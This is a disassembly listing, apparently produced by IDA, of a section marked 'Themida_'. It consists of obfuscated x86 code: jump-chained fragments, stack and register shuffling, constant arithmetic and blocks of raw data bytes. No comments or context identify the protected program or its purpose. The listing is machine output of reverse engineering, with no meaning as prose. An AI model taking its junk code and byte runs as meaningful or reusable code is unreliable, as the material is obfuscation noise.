; ---------------------------------------------------------------------------


loc_54FF15:				; CODE XREF: Themida_:0055BF86j
		push	ebx
		mov	bl, ah
		jmp	loc_557776
; ---------------------------------------------------------------------------
		db 0B8h, 2Fh, 49h
		dd 77E903FDh, 8F000062h, 0FF5C2404h, 51582434h,	5255E189h
		dd 5D34C068h, 0EAC15A41h, 7EF28103h, 891D23EEh,	0CD815AD5h
		dd 5EA443A1h, 29D3CD81h, 0E9507FE6h, 0A5A9h
; ---------------------------------------------------------------------------


loc_54FF58:				; CODE XREF: Themida_:0055BCA8j
		pop	edi
		push	dword ptr [esp]
		jmp	loc_552EF4
; ---------------------------------------------------------------------------
		db 1, 0C8h, 0E9h
		dd 9ED1h
; ---------------------------------------------------------------------------


loc_54FF68:				; CODE XREF: Themida_:005535B1j
		push	4F60h
		mov	[esp], esi
		mov	esi, edi
		mov	ebx, esi
		jmp	loc_5532CE
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 1Dh
		dd 0FF000012h, 99E93877h
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FF87:				; CODE XREF: Themida_:00556847j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55A55A
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E9E28952h, 665Fh, 207F83ADh, 0A9840F00h
		dd 81000032h, 182C00C6h, 265CE95Ch, 0E95D0000h,	0A5E8h
		dd 0E95FFD89h, 81ACh
; ---------------------------------------------------------------------------


loc_54FFC4:				; CODE XREF: Themida_:00559371j
		mov	[esp], edx
		push	eax
		mov	eax, 1
		push	eax
		add	dword ptr [esp], 2F147EF4h
		jmp	loc_54FF04
; ---------------------------------------------------------------------------
aLSsf		db '$$f',0
		align 2
		dw 74FFh
		dd 0C8B0424h, 27EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FFEE:				; CODE XREF: Themida_:0055A4D0j
		neg	bh
		sub	bh, 0D4h
		add	ah, bh
		jmp	loc_551AD9
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0E9E8D107h, 0B814h, 471D68h,	24048900h, 4B8h, 6FFAE900h
		dd 295D0000h, 0DE0159CBh, 81241C8Bh, 4C4h, 24343300h, 33243431h
		dd 248B2434h, 24040024h, 0F8AEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55003A:				; CODE XREF: Themida_:005553CDj
		shl	eax, cl
		push	ecx
		jmp	loc_55287B
; ---------------------------------------------------------------------------
		dw 5546h
		dd 3F6345BDh, 81EDD164h, 0D652AEF5h, 0B3ED8111h, 29FC7BC8h
		dd 0E6C15DEEh, 0FCEE8107h, 894BA24Dh, 82FFE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55006A:				; CODE XREF: Themida_:0055B020j
		shr	esi, 1
		add	esi, 0CE5D6301h
		jmp	loc_553F95
; ---------------------------------------------------------------------------


loc_550077:				; CODE XREF: Themida_:0055078Ej
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_55AA9B
; ---------------------------------------------------------------------------
aRsS		db 'R٘',0
		dw 8100h
		dd 3A1B0FEEh, 1A28E905h, 2BB0000h, 81000000h, 922628C7h
		dd 50DF011Dh, 922628B8h, 58C7291Dh, 74FF575Bh, 0E95F0424h
		dd 3ABh, 51D830ACh, 0E1E9BDB5h,	0B8000083h, 58353D75h
		dd 10740D40h, 0E6E923CCh, 8B00005Dh, 0C483243Ch, 0F80AE904h
		dd 0E681FFFFh, 6B473112h, 774DF681h, 0EE812133h, 4A74464Dh
		dd 875EF329h, 248B241Ch, 14896624h, 25B45024h, 8E77E9h
		dd 82685C00h, 89000009h, 5954240Ch, 4C181h, 76E90000h
		dd 66000077h, 4F0005Ah,	2999E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550126:				; CODE XREF: Themida_:0055033Fj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_556E19
; ---------------------------------------------------------------------------
		dd 0C8BEE00h, 4C48124h,	0E9000000h, 4635h, 0CEE9E589h
		dd 660000B1h, 2454F653h, 805B6601h, 0F780A2CFh,	0B6526695h
		dd 66F730A1h, 0E9F8285Ah, 3504h, 68A868h, 24048900h, 168h
		dd 2434FF00h, 43CE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55017A:				; CODE XREF: Themida_:00553F97j
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_5592B8
; ---------------------------------------------------------------------------
		dd 24ECF181h, 0EF817030h, 68822598h, 20E7C781h,	52E9718Bh
		dd 5700008Bh, 2BFh, 0ABDCE900h,	39E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5501AF:				; CODE XREF: Themida_:0055A15Ej
		mov	esp, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_55B4B2
; ---------------------------------------------------------------------------
		dd 6887048Dh, 168h, 54240C89h, 81240C8Bh, 4C4h,	0B7685500h
		dd 5D4CB955h, 322BF581h, 0E9536F62h, 499Ah, 0FFF0285Bh
		dd 835A2434h, 9B2C04C4h, 9B04D800h, 39B55166h, 5966E800h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_55A8B8
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 7739E9h
		db 0
; ---------------------------------------------------------------------------


loc_55020D:				; CODE XREF: Themida_:005539B9j
		add	ebp, eax
		pop	eax
		push	ecx
		push	56F33041h
		jmp	loc_551D95
; ---------------------------------------------------------------------------


loc_55021B:				; CODE XREF: Themida_:00555354j
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_559634
; ---------------------------------------------------------------------------


loc_55022B:				; CODE XREF: Themida_:005527AEj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55BED2
; ---------------------------------------------------------------------------
		dd offset dword_582B68
		align 2
		dw 3489h
		dd 0F28E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550242:				; CODE XREF: Themida_:00550DF6j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_556FE3
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 83242C8Bh, 0CE2904C4h, 8BF10159h, 0C4832434h, 2C18104h
		dd 87000000h, 248B240Ch, 240CD224h, 0F666E99Ch,	9168FFFFh
		dd 8900000Bh, 0BA52240Ch, 7612188Ah, 0E95AD189h, 0B62Bh
		dd 1F0291BEh, 4EEC137h,	24EEF681h, 0CEE91FA3h, 8F000041h
		dd 0F5C2404h, 8953C8BFh, 4BD55E3h, 81000000h, 374042C3h
		dd 81EB013Dh, 374042EBh, 242C8B3Dh, 2391E9h, 34FF5800h
		dd 0C4815924h, 4, 0AD2C5866h, 64BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5502E5:				; CODE XREF: Themida_:0055733Ej
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_557BC7
; ---------------------------------------------------------------------------


loc_5502F4:				; CODE XREF: Themida_:00554D0Dj
		push	edi
		push	0F8509E3Ah
		jmp	loc_558CB4
; ---------------------------------------------------------------------------


loc_5502FF:				; CODE XREF: Themida_:0055815Ej
		or	bl, al
		pop	eax
		dec	bl
		push	ebp
		jmp	loc_551D5E
; ---------------------------------------------------------------------------
		dw 0C148h
		dd 1F0D06E8h, 5550369h,	0F4817361h, 0C8E9C389h,	29FFFFF9h
		dd 0EC8359CBh, 24048904h, 0FE5A5CB8h, 3C39E9C4h, 0BC680000h
		dd 0E9000006h, 2CBDh
; ---------------------------------------------------------------------------


loc_55033C:				; CODE XREF: Themida_:005533D4j
		sub	esp, 4
		jmp	loc_550126
; ---------------------------------------------------------------------------
		dd 0E959E800h, 5174h
; ---------------------------------------------------------------------------


loc_55034C:				; CODE XREF: Themida_:005534D4j
		pop	edi
		inc	edi
		neg	edi
		inc	edi
		jmp	loc_55686D
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 5C243C33h, 240CFF66h, 0F57EE99Ch,	0C681FFFFh
		dd 55C006CFh, 0B45EE951h, 0E6890000h, 34BFBD55h, 0CD813495h
		dd 8D601C3h, 8247E9h, 4875B00h,	0A52E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550392:				; CODE XREF: Themida_:00553B0Fj
		sub	ebx, 0D900AB0Eh
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	ebx
		jmp	loc_55B152
; ---------------------------------------------------------------------------
		dd 0C01BC581h, 0E9891804h, 0E9CB015Dh, 10Eh
; ---------------------------------------------------------------------------


loc_5503BC:				; CODE XREF: Themida_:0055B587j
		mov	ebx, 24h
		add	ebx, edi
		add	[ebx], ecx
		jmp	loc_55488B
; ---------------------------------------------------------------------------


loc_5503CA:				; CODE XREF: Themida_:00554EE6j
		add	edx, 4
		jmp	loc_557338
; ---------------------------------------------------------------------------
		db 28h,	0D0h, 66h
		dd 0FFA02C5Ah, 68592434h, 598Bh, 89241489h, 0B2BD55E2h
		dd 4D116E2Fh, 0E904EDC1h, 8710h
; ---------------------------------------------------------------------------


loc_5503F8:				; CODE XREF: Themida_:00554E5Fj
		push	2225h
		jmp	loc_556F52
; ---------------------------------------------------------------------------


loc_550402:				; CODE XREF: Themida_:00554BD7j
		mov	eax, [esp]
		add	esp, 4
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	edi, edx
		pop	edx
		push	edx
		jmp	loc_554987
; ---------------------------------------------------------------------------
		dd 4C281h, 0EC830000h, 24148904h, 16B4E9h, 24348900h, 0C681E689h
		dd 4, 3BAAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55043D:				; CODE XREF: Themida_:00555FCEj
		sub	eax, 4674221Dh
		push	edx
		jmp	loc_556BD8
; ---------------------------------------------------------------------------


loc_550448:				; CODE XREF: Themida_:00559941j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		neg	dword ptr [esp]
		pop	edx
		xor	edx, 0ED704932h
		xor	esi, edx
		jmp	loc_553445
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0B61AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55046E:				; CODE XREF: Themida_:0055A8DBj
		sub	bl, al
		pop	eax
		sub	esp, 4
		jmp	loc_550F9D
; ---------------------------------------------------------------------------


loc_55047C:				; CODE XREF: Themida_:00550F8Fj
		add	edi, 4
		jmp	loc_558D2E
; ---------------------------------------------------------------------------


loc_550487:				; CODE XREF: Themida_:0055BE1Bj
		mov	ebp, esp
		jmp	loc_554EEB
; ---------------------------------------------------------------------------


loc_55048E:				; CODE XREF: Themida_:0054F932j
		sub	esp, 4
		jmp	loc_54FB9D
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 0E4E92414h, 0F7000053h, 0E3814BDBh, 137A693Bh
		dd 76BE5643h, 57415C63h, 0D5417EBFh, 2329E979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5504C2:				; CODE XREF: Themida_:00552E83j
		pop	edx
		add	eax, edx
		jmp	loc_555535
; ---------------------------------------------------------------------------
aYs		db 'Y{~',0
		align 10h
		dd 48BC520h, 31A5E924h,	0C330000h, 24248B24h, 243CD366h
		dd 0F3FEE99Ch, 487FFFFh, 0B1E95C24h, 0BD00000Eh, 2, 0ACAC381h
		dd 0EB29160Bh, 0ACAEB81h, 875D160Bh, 8FE9241Ch,	5100005Bh
		dd 4EC8152h, 89000000h,	48BB241Ch, 0BA39740Bh, 45B03569h
		dd 0B95BDA31h, 4C854C4Ah, 0F75AD131h, 0D6C181D9h, 1BE3202h
		dd 0A97BE9CEh, 0F8890000h, 48BC289h, 4EC8124h, 0E9000000h
		dd 43A8h, 0E924048Fh, 92B0h, 9CBD5551h,	0E970F5E4h, 0FFFFFCF6h
		dd 2F6186B9h, 59CE296Eh, 0C681D601h, 6E2F6186h,	8324148Bh
		dd 0E95704C4h, 75C9h, 4EC835Dh,	59241489h, 3E1C15Ah, 5983E9h
		dd 0ACF58100h, 0E901972Eh, 7EF4h
; ---------------------------------------------------------------------------


loc_55059C:				; CODE XREF: Themida_:0055A71Dj
		push	75C65B85h
		pop	edi
		dec	edi
		sub	edi, 0DA813ABh
		jmp	loc_55080D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 7F8E924h, 54550000h,	0E9242C8Bh, 0B820h, 8104C483h
		dd 88BF18C6h, 6CB9E9F1h, 0C2680000h, 8B5B8545h,	8951240Ch
		dd 4BE56E1h, 1000000h, 2505E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5505E6:				; CODE XREF: Themida_:005513B8j
		mov	esp, [esp]
		push	5DD4h
		mov	[esp], ebx
		jmp	loc_556E39
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 22EF8106h, 0E9CCFD98h, 50ACh, 127BC281h, 0D60147BFh
		dd 4EC835Ah, 56241C89h,	3612E9h
		db 0
; ---------------------------------------------------------------------------


loc_550619:				; CODE XREF: Themida_:0055BED6j
		mov	[esp], edx
		jmp	loc_558D42
; ---------------------------------------------------------------------------


loc_550621:				; CODE XREF: Themida_:005529C2j
		push	esi
		push	5BB814B6h
		pop	esi
		sub	esi, 6AFC552Bh
		add	esi, 395E7FF0h
		jmp	loc_5569DD
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0CDh
		dd 81FD0159h, 0E511C9EDh, 243C8B34h, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 0E9242C33h, 1623h
; ---------------------------------------------------------------------------


loc_550660:				; CODE XREF: Themida_:00553599j
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 7E0F1554h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 63453A07h
		xchg	edi, esi
		jmp	loc_559465
; ---------------------------------------------------------------------------
		dd 5164C781h, 148B5281h, 5F545724h, 4C781h, 63680000h
		dd 8900004Ch, 60B82404h, 0C11B470Fh, 2D4808E8h,	1B470Ah
		dd 8758C701h, 0E95C243Ch, 0FFFFFC9Ah
; ---------------------------------------------------------------------------


loc_5506BC:				; CODE XREF: Themida_:00554BE5j
		inc	ebx
		dec	ebx
		push	edx
		jmp	loc_552D36
; ---------------------------------------------------------------------------
		dd 3454BF57h, 0F781146Dh, 76B82C20h, 515FFB31h,	61267EB9h
		dd 0E941492Fh, 5FDAh, 8B015405h, 2DF80101h, 18B0154h, 81243C8Bh
		dd 4C4h, 0E9C33100h, 1892h, 5604C683h, 42474FFh, 24048F5Eh
		dd 79E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55070D:				; CODE XREF: Themida_:0055190Dj
		not	ebx
		jmp	loc_557F08
; ---------------------------------------------------------------------------


loc_550714:				; CODE XREF: Themida_:00551930j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55896C
; ---------------------------------------------------------------------------


loc_55071E:				; CODE XREF: Themida_:00558DDEj
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5514B1
; ---------------------------------------------------------------------------
		db 58h
		dd 295FFB89h, 148B5BDFh, 4C48324h, 3D7AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55073D:				; CODE XREF: Themida_:0055374Aj
		mov	ebp, esi
		pop	esi
		and	ebp, 68C2627h
		push	edi
		jmp	loc_559E4C
; ---------------------------------------------------------------------------


loc_55074C:				; CODE XREF: Themida_:00553F5Cj
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_551735
; ---------------------------------------------------------------------------
aRZcs		db 'R[ZC!',0
		align 4


loc_55076C:				; CODE XREF: Themida_:0055A42Bj
		mov	[esp], ebp
		jmp	loc_55494F
; ---------------------------------------------------------------------------
aYsi		db 'Y]',0
		align 2
		dw 0EC83h
		dd 24148904h, 53022FBAh, 4EC8308h, 34CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55078D:				; CODE XREF: Themida_:0055A16Bj
		pop	ebx
		jmp	loc_550077
; ---------------------------------------------------------------------------
aS9		db '\9',8,0
		dd 60F78100h, 811E6A2Eh, 455597EFh, 0E9FA298Fh,	6C8Dh
; ---------------------------------------------------------------------------


loc_5507AC:				; CODE XREF: Themida_:005573DCj
		mov	esi, esp
		jmp	loc_557C63
; ---------------------------------------------------------------------------
		db 52h
		dd offset unk_4DF4E9
		db 0
; ---------------------------------------------------------------------------


loc_5507B9:				; CODE XREF: Themida_:00558AA3j
		pop	ebx
		add	ecx, esi
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55B0DE
; ---------------------------------------------------------------------------
		dw 483h
		dd 48F0424h, 24048124h,	4, 0FFF107E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5507E1:				; CODE XREF: Themida_:0054FE60j
		xor	eax, ecx
		push	71B5h
		mov	[esp], eax
		xchg	esi, [esp]
		jmp	loc_556F19
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0FECAE94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5507FA:				; CODE XREF: Themida_:00555143j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_558BDD
; ---------------------------------------------------------------------------


loc_55080D:				; CODE XREF: Themida_:005505A9j
		xor	edi, 1BBF4531h
		sub	edi, 462ED4C3h
		push	ebp
		mov	ebp, edi
		push	ebp
		xor	dword ptr [esp], 5EE557A0h
		pop	ebx
		xor	ebx, 5EE557A0h
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_554CC1
; ---------------------------------------------------------------------------


loc_550834:				; CODE XREF: Themida_:00552171j
		movsx	cx, al
		push	small 41ACh
		mov	[esp], cx
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 52E1h, 0C800C6B1h, 8B665966h, 0E956241Ch, 69DEh
; ---------------------------------------------------------------------------


loc_55085C:				; CODE XREF: Themida_:00556A21j
		pop	edi
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_554E19
; ---------------------------------------------------------------------------
aS0		db ']0',0
		dd 0DC28100h, 131BF6Eh,	0DEA81C2h, 8131BF6Eh, 401055C2h
		dd 91C28115h, 5868BF17h, 0F0E9D031h, 81000021h,	4C4h, 2B85000h
		dd 29000000h, 0EC8358C7h, 243C8904h, 42474FFh, 24048F5Fh
		dd 0ADCFE9h, 4C48300h, 24148B58h, 4C481h, 0BA040000h, 0BA2CC800h
		dd 0E9240C8Bh, 3D02h, 4C481h, 0D8010000h, 923DC22Dh, 241C8B1Fh
		dd 4C481h, 0FF660000h, 0EFFEE930h, 4BB8FFFFh, 2973A57Bh
		dd 5AE958C5h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5508F7:				; CODE XREF: Themida_:005556C2j
		xchg	edi, ecx
		sub	ecx, 6FEC7B70h
		inc	ecx
		jmp	loc_5594EE
; ---------------------------------------------------------------------------


loc_550905:				; CODE XREF: Themida_:00559512j
		neg	ebp
		jmp	loc_556BEF
; ---------------------------------------------------------------------------
a_gsI		db '_Gʛ',0
		dw 5700h
		dd 4BFh, 855BE900h, 0C3800000h,	0B25266E5h, 221E97Dh, 0EA810000h
		dd 756775E6h, 0E95AD789h, 6026h, 8DE9585Bh, 10000AEh, 0A2B951FBh
		dd 162FC05h, 3C8B59CBh,	4C48324h, 0E904C383h, 4A7Ah, 8107E5C1h
		dd 5456DCDh, 0BDE58171h, 0E9012D53h, 135Ch
; ---------------------------------------------------------------------------


loc_55096C:				; CODE XREF: Themida_:00554F46j
		push	15AEh
		mov	[esp], ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		not	ebx
		inc	ebx
		neg	ebx
		jmp	loc_555A20
; ---------------------------------------------------------------------------
		dd 240C335Eh, 0E9240C31h, 91DAh, 2B951h, 0CD010000h, 83240C8Bh
		dd 48E904ECh, 100004Bh,	8E958C5h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5509AB:				; CODE XREF: Themida_:005594EFj
		mov	ebx, 7BE56A51h
		shr	ebx, 7
		jmp	loc_55A6BE
; ---------------------------------------------------------------------------


loc_5509B8:				; CODE XREF: Themida_:005533CCj
		mov	eax, esp
		jmp	loc_559196
; ---------------------------------------------------------------------------
aFrMs		db 'fR+M}',0
		align 2
		dw 0CABFh
		dd 81798D1Eh, 1278AEFh,	46E78120h, 0E940C866h, 0A1B1h
		dd 24048F54h, 3CA4E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5509EA:				; CODE XREF: Themida_:00555B7Aj
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 7ED054CAh
		not	ebx
		shl	ebx, 1
		inc	ebx
		sub	ebx, 25F5667h
		add	ecx, ebx
		jmp	loc_54FB24
; ---------------------------------------------------------------------------


loc_550A05:				; CODE XREF: Themida_:005592C9j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 3DA940EAh
		and	ecx, 6A922806h
		push	ebx
		mov	ebx, 0AA70EAAEh
		add	ecx, 1D7A2E1Bh
		sub	ecx, ebx
		jmp	loc_553AC7
; ---------------------------------------------------------------------------


loc_550A29:				; CODE XREF: Themida_:0055377Cj
		push	ecx
		push	5301h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_553302
; ---------------------------------------------------------------------------
		dw 5055h
		dd 0AB481EB8h, 6B0BE969h, 248B0000h, 48B6624h, 2FEAE924h
		dd 0F7660000h, 0C38166D3h, 896630FFh, 29665BDFh, 665F66FDh
		dd 0E95DE889h, 43D4h
; ---------------------------------------------------------------------------


loc_550A70:				; CODE XREF: Themida_:0055357Bj
		add	dword ptr [edi+20h], 73AA49F1h
		jmp	loc_553779
; ---------------------------------------------------------------------------
		dd 42474FFh, 0ADF2E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550A86:				; CODE XREF: Themida_:00556F55j
		push	ecx
		push	224367C3h
		pop	ecx
		xor	[esp+4], ecx
		pop	ecx
		pop	eax
		push	edi
		mov	edi, 25802C4h
		sub	edi, 31A61C9Ch
		push	ecx
		jmp	loc_551B52
; ---------------------------------------------------------------------------
		db 31h,	0F1h, 5Eh
		dd 0C8BCA21h, 4C48124h,	81000000h, 6991DEEAh, 18E905EAh
		dd 0D001084Eh, 18E9BF57h, 0F829084Eh, 7A28E95Fh, 0EB810000h
		dd 652B7E64h, 8BDF2958h, 0C483241Ch, 91F1E904h,	0EC810000h
		dd 4, 89240C89h, 7EE956E1h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550AF3:				; CODE XREF: Themida_:00559718j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_550B03:				; CODE XREF: Themida_:00558535j
		push	edi
		push	7942h
		mov	[esp], esi
		push	ebx
		jmp	loc_55304F
; ---------------------------------------------------------------------------


loc_550B12:				; CODE XREF: Themida_:00550E8Ej
		sub	esp, 4
		jmp	loc_557DE4
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5
		dd 1D6163F5h, 0AC401105h, 5D47682Eh, 34890000h,	60A3BE24h
		dd 11E95CA9h, 0E9000050h, 0FFFFEDA8h, 0FF2434FFh, 0B5E92434h
		dd 7Eh,	148B66D3h, 9EE95024h, 500008Eh,	569F777Eh, 0E958C701h
		dd 2D87h, 5487F581h, 0ED814EE0h, 291EA770h, 0BBE9E901h
		dd 5800007Ah, 0ACCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_550B7D:				; CODE XREF: Themida_:0055BA76j
		xor	dl, 7Eh
		or	dl, 0A6h
		jmp	loc_552838
; ---------------------------------------------------------------------------


loc_550B88:				; CODE XREF: Themida_:0055B997j
		not	edi
		xor	[esp], edi
		jmp	loc_554AEA
; ---------------------------------------------------------------------------
		dw 0D25Ch
		dd 0E99C243Ch, 16B0h, 42474FFh,	15EAE9h, 1B7DBF00h, 0CA2D29C6h
		dd 54BA805h, 40F53C29h,	9AC3E9h, 80C9FE00h, 0C888F7F1h
		dd 3DB25259h, 28FCC280h, 0EB805AD3h, 0B056E9B4h, 0C2810000h
		dd 2E6C42C5h, 0EA81C201h, 2E6C42C5h, 3857E9h, 0E2895200h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 81E18951h,	4C1h, 4E98300h
		dd 5C240C87h, 0E9241C89h, 0A625h, 5324048Bh, 0C3815B54h
		dd 4, 5304C383h, 0FFFE57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550C25:				; CODE XREF: Themida_:005564FDj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55125B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC81240Ch, 4, 89243C89h, 4C781E7h, 83000000h, 3C3304EFh
		dd 243C3124h, 5C243C33h, 89241C89h, 4C381E3h, 81000000h
		dd 4ECh, 240C8900h, 0ABC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_550C69:				; CODE XREF: Themida_:00552587j
		not	ecx
		add	ecx, 7DC14807h
		sub	ecx, 42513879h
		mov	edi, ecx
		pop	ecx
		mov	ebx, edi
		pop	edi
		push	75D9h
		mov	[esp], ecx
		jmp	loc_556CFF
; ---------------------------------------------------------------------------


loc_550C8A:				; CODE XREF: Themida_:00558EA3j
		xchg	esi, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_554A02
; ---------------------------------------------------------------------------
		dd 4C481h, 34870000h, 24248B24h, 9C2424D2h, 0FFEC2BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550CBD:				; CODE XREF: Themida_:0054FA3Ej
		shl	dl, 6
		shr	dl, 8
		push	2391h
		mov	[esp], eax
		mov	ah, 4
		or	ah, 8Dh
		dec	ah
		inc	ah
		push	6FBh
		mov	[esp], edx
		mov	dl, 1
		add	ah, dl
		jmp	loc_55A4C6
; ---------------------------------------------------------------------------
		db 66h,	54h, 66h
		dd 0E924048Fh, 0A3FAh, 1DBA68h,	240C8900h, 4B9h, 0E9CE0100h
		dd 6508h, 5624148Bh, 7103E9h, 2474FF00h, 2434FF04h, 4C4815Ah
		dd 8F000000h, 248B2404h, 69C3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D26:				; CODE XREF: Themida_:00555D6Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 80B1490h
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_558A7F
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFEB88h, 0FFFFFFBEh
		dd 5EF329FFh, 65B4F381h, 0F381141Eh, 0ABB8D182h, 0E95BDA01h
		dd 0FFFFF6A0h, 240C8B66h, 0E6768h, 243C8900h, 7C3A68h
		dd 24148900h, 0C281E289h, 4, 0FFECD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550D9D:				; CODE XREF: Themida_:005517AFj
		add	ebx, 74D51064h
		add	ebx, 6C6716FBh
		jmp	loc_55662A
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 80CCFE1Fh, 0EC806BE4h, 2E90E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550DBE:				; CODE XREF: Themida_:005514C3j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55B787
; ---------------------------------------------------------------------------


loc_550DCF:				; CODE XREF: Themida_:005589BDj
		dec	esi
		and	esi, 78152B2Eh
		xor	esi, 66E70E04h
		or	eax, esi
		pop	esi
		jmp	loc_554DD0
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 0E924048Bh, 16ACh
; ---------------------------------------------------------------------------


loc_550DF0:				; CODE XREF: Themida_:00558842j
		mov	esp, [esp]
		mov	ebx, [esp]
		jmp	loc_550242
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0C02FB151h, 6808E9h, 80000000h, 282B242Ch
		dd 480240Ch, 0C8A2B24h,	6097E924h, 30AC0000h, 16C2E9D8h
		dd 0FE5B0000h, 0A8E5E9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E32:				; CODE XREF: Themida_:0055A3F4j
		and	edx, 73DD31F9h
		jmp	loc_555C12
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 52000000h, 831FE8BAh, 81DAF716h, 13642BC2h, 0CCC28110h
		dd 0C17C1441h, 0D2F704E2h, 9F0BBF57h, 0FA31A5B7h, 541EE9h
		db 0
; ---------------------------------------------------------------------------


loc_550E69:				; CODE XREF: Themida_:00554CACj
		pop	eax
		jmp	loc_553242
; ---------------------------------------------------------------------------


loc_550E6F:				; CODE XREF: Themida_:00552D31j
		push	edi
		push	edx
		mov	edx, 16393846h
		and	edx, 1843489Eh
		shl	edx, 2
		push	ebp
		mov	ebp, 25B066B6h
		jmp	loc_554BCE
; ---------------------------------------------------------------------------


loc_550E8A:				; CODE XREF: Themida_:0055204Dj
		pop	eax
		add	esp, 4
		jmp	loc_550B12
; ---------------------------------------------------------------------------


loc_550E93:				; CODE XREF: Themida_:00558D29j
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
